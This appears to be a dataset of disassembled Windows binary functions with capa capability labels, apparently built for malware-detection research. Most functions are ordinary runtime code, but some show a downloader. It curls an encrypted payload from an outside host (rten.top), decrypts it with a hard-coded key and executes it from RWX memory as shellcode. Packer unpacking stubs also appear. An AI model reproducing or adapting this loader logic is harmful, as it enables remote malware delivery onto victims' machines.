joyce8/EMBER2024-capa huggingface dataset:
Function at 0x495af0
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
sub rsp, 0xc8
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
nop
cmp word [0x00400000], 0x5a4d
je 0x495b2d
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
lea rdi, [0x00400000]
jmp 0x495bbb
movsxd rax, dword [0x0040003c]
lea rdi, [0x00400000]
add rax, rdi
cmp dword [rax], 0x4550
je 0x495b51
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x495bbb
movzx ecx, word [rax + 0x18]
cmp ecx, 0x10b
je 0x495b98
cmp ecx, 0x20b
je 0x495b70
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x495bbb
cmp dword [rax + 0x84], 0xe
ja 0x495b84
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x495bbb
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0xd0], ebx
jmp 0x495bbb
cmp dword [rax + 0x74], 0xe
ja 0x495ba9
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x495bbb
xor ebx, ebx
cmp dword [rax + 0xe8], ebx
setne bl
mov dword [rsp + 0xd0], ebx
mov ecx, 2
call qword [sym.imp.msvcrt.dll___set_app_type]
mov qword [0x004d1360], 0xffffffffffffffff
mov qword [0x004d1368], 0xffffffffffffffff
mov rcx, qword [sym.imp.msvcrt.dll__fmode]
mov eax, dword [0x004d0de4]
mov dword [rcx], eax
mov rcx, qword [sym.imp.msvcrt.dll__commode]
mov eax, dword [0x004d0de0]
mov dword [rcx], eax
call fcn.0057a000
cmp dword [0x004d00d8], 0
jne 0x495c15
lea rcx, [0x004946b0]
call qword [sym.imp.msvcrt.dll___setusermatherr]
lea rdx, [0x00497a08]
lea rcx, [0x00497a00]
call sub.msvcrt.dll__initterm
mov r11d, dword [0x004d0ddc]
mov dword [rsp + 0xd8], r11d
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x20], rax
mov r9d, dword [0x004d0dd8]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x3c]
call qword [sym.imp.msvcrt.dll___getmainargs]
lea rdx, [0x004979f8]
lea rcx, [0x00497950]
call sub.msvcrt.dll__initterm
mov r11, qword [sym.imp.msvcrt.dll__acmdln]
mov r8, qword [r11]
mov qword [rsp + 0x30], r8
cmp byte [r8], 0x22
jne 0x495cb6
nop
nop
inc r8
mov qword [rsp + 0x30], r8
movzx eax, byte [r8]
test al, al
je 0x495ca6
cmp al, 0x22
je 0x495ca6
jmp 0x495c90
cmp byte [r8], 0x22
jne 0x495cc6
inc r8
mov qword [rsp + 0x30], r8
jmp 0x495cc6
cmp byte [r8], 0x20
jbe 0x495cc6
inc r8
mov qword [rsp + 0x30], r8
jmp 0x495cb6
movzx eax, byte [r8]
test al, al
je 0x495cdc
cmp al, 0x20
ja 0x495cdc
inc r8
mov qword [rsp + 0x30], r8
jmp 0x495cc6
test byte [rsp + 0x8c], 1
je 0x495cf1
movzx r9d, word [rsp + 0x90]
jmp 0x495cf7
mov r9d, 0xa
xor edx, edx
mov rcx, rdi
call fcn.00456ea4
mov edi, eax
mov dword [rsp + 0x38], eax
test ebx, ebx
jne 0x495d13
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
call qword [sym.imp.msvcrt.dll__cexit]
jmp 0x495d37
mov eax, edi
jmp 0x495d40
mov rbx, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0xe8]
add rsp, 0xc8
ret
Function at 0x14000560c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140005690
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140007400]
cmp byte [rcx + rax], 0
je 0x140005690
dec r8
sub rdx, 1
jne 0x140005676
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140006954
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000699e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000699e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000699e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000699e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000699e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400069a0
xor al, al
add rsp, 0x28
ret
Function at 0x140603058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1406031df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140603089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14060306f
add dl, dl
jne 0x140603096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406030f6
xor eax, eax
add dl, dl
jne 0x1406030a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406031ad
add dl, dl
jne 0x1406030b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406030c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406030d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406030dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406030ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14060307e
mov eax, 1
add dl, dl
jne 0x140603106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140603113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406030fb
sub eax, ebx
mov ebx, 1
jne 0x14060314c
mov ecx, 1
add dl, dl
jne 0x14060312e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14060313b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140603123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060307e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140603168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140603175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14060315d
cmp eax, 0x7d00
jae 0x14060319b
cmp eax, 0x500
jb 0x140603196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060307e
cmp eax, 0x7f
ja 0x14060319e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060307e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406031d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14060307e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140062520
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14006252d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14006253d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140062525
lea eax, [rcx + 1]
jmp 0x14006254b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14006255e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140062544
sub eax, 3
jb 0x14006257e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400625cd
sar eax, 1
movsxd rbp, eax
jb 0x1400625b4
jmp 0x14006258c
add ebx, ebx
jne 0x14006258a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400625b4
inc ecx
add ebx, ebx
jne 0x14006259a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400625b4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400625ad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14006259c
add ecx, 2
jmp 0x1400625b9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1400624e2
jmp 0x14006252d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x3b200
mov dl, 0xe
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14006261d
cmp rsi, rcx
jae 0x140062625
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140062604
cmp al, 0x8f
ja 0x140062604
cmp byte [rsi - 2], 0xf
je 0x14006260a
sub al, 0xe8
cmp al, 1
ja 0x1400625ee
cmp rsi, rcx
jae 0x140062625
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400625f4
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140062625
lodsb al, byte [rsi]
jmp 0x140062604
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x5f000]
mov eax, dword [rdi]
or eax, eax
je 0x140062682
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x62280]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140062632
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14006267c
mov qword [rbx], rax
add rbx, 8
jmp 0x140062652
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400626bc
cmp al, 0xef
ja 0x1400626ae
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14006268e
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14006269d
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140062710
sub rsp, 0xffffffffffffff80
jmp 0x140005df4
Function at 0x140011131
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x1400118b0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x14002310e]
call fcn.1400113b1
call fcn.14001133e
mov qword [rbp + 8], rax
call fcn.14001124e
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x190]
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 8]
call fcn.1400110b4
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x28], rax
mov eax, dword [rbp + 0x188]
mov dword [rsp + 0x20], eax
mov r9, qword [rbp + 0x180]
lea r8, [rbp + 0x44]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call fcn.14001120d
movsxd rax, dword [rbp + 0x44]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
lea r8, [rbp + 0x64]
mov rdx, rax
mov rcx, qword [rbp + 8]
call fcn.140011118
mov rcx, qword [rbp + 8]
call fcn.14001118b
mov eax, dword [rbp + 0x64]
mov ecx, dword [rbp + 0x44]
add ecx, eax
mov eax, ecx
cdqe
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x88], rax
mov eax, dword [rbp + 0x64]
mov ecx, dword [rbp + 0x44]
add ecx, eax
mov eax, ecx
cdqe
mov r8, rax
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x88]
call fcn.1400111d1
call qword [rbp + 0x88]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_free]
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ac60]
call fcn.140011339
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400111cc
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x140011212
Capabilities:
Terminate process

Disassembly:
jmp 0x140013080
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011299
Capabilities:
Read file on windows
Terminate process

Disassembly:
jmp 0x140011aa0
push rbp
push rsi
push rdi
sub rsp, 0x730
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x134
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x708], rax
lea rcx, [0x14002310e]
call fcn.1400113b1
lea rax, str.curl_http:__rten.top_red_encrypted.txt
mov qword [rbp + 0x448], rax
mov dword [rbp + 0x464], 0
mov byte [rbp + 0x484], 0
lea rdx, [0x14001adf0]
mov rcx, qword [rbp + 0x448]
call qword [sym.imp.ucrtbased.dll__popen]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140011b34
lea rcx, str.popen___failed.
call qword [sym.imp.ucrtbased.dll_perror]
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
mov r9, qword [rbp + 8]
mov r8d, 1
mov edx, 1
lea rcx, [rbp + 0x484]
call qword [sym.imp.ucrtbased.dll_fread]
test rax, rax
je 0x140011b77
movsxd rax, dword [rbp + 0x464]
movzx ecx, byte [rbp + 0x484]
mov byte [rbp + rax + 0x30], cl
mov eax, dword [rbp + 0x464]
inc eax
mov dword [rbp + 0x464], eax
jmp 0x140011b34
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll__pclose]
lea rax, [rbp + 0x4a8]
lea rcx, str.my_secret_key_16
mov rdi, rax
mov rsi, rcx
mov ecx, 0x11
rep movsb byte [rdi], byte [rsi]
movsxd rax, dword [rbp + 0x464]
mov r9d, 0x10
lea r8, [rbp + 0x4a8]
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.140011131
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ad80]
call fcn.140011339
mov rax, rdi
mov rcx, qword [rbp + 0x708]
xor rcx, rbp
call fcn.1400111cc
lea rsp, [rbp + 0x710]
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400112a3
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400143d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400143f0
xor al, al
jmp 0x140014471
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014403
xor al, al
jmp 0x140014471
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001442d
xor al, al
jmp 0x140014471
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014441
xor al, al
jmp 0x140014471
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014453
xor al, al
jmp 0x140014471
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001446f
xor al, al
jmp 0x140014471
mov al, 1
add rsp, 0x38
ret
Function at 0x140002374
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400023be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400023be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400023be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400023be
cmp dword [rcx + 0x84], 0xe
jbe 0x1400023be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400023c0
xor al, al
add rsp, 0x28
ret

Function at 0x140005f74
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005da0
Function at 0x1800061e0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x180006208
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x18000622e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x180006230
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x180006289
test ecx, ecx
jle 0x180006269
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x180006289
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x180006289
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x1800062b0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1800062d2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x1800062e8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x180006304
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180006306
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180006342
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1800063de
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x18000637d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x1800063be
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1800063de
cmp rbx, rax
ja 0x180006390
test rbx, rbx
je 0x1800063de
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x180006840
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1800b4040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x18000686d
xor eax, eax
jmp 0x1800069d9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1800068a7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1800068a7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1800069d9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1800069cc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1800068ea
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180006915
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1800069d1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180006984
sub eax, 1
je 0x180006984
cmp eax, 2
jne 0x1800069cc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1800069d1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1800069b2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1800069cc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1800069d1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180078520
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x180009bb0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1800b4040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x180009c83
cmp byte [rcx + 0x71], 0
je 0x180009c83
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x180009c7f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180009c44
sub eax, 1
je 0x180009c48
cmp eax, 2
jne 0x180009c7f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180078520
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x180009c76
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x180009c7f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x180009c2c
xor al, al
jmp 0x180009c2c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180078520
add rsp, 0x60
pop rbx
ret

Function at 0x18001bad0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov ebx, edx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
cmp ebx, 1
jne 0x18001bb09
xor eax, eax
lea r8, [0x180020640]
mov qword [rsp + 0x28], rax
mov r9, rdi
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, qword [rsp + 0x40]
mov eax, 1
add rsp, 0x30
pop rdi
ret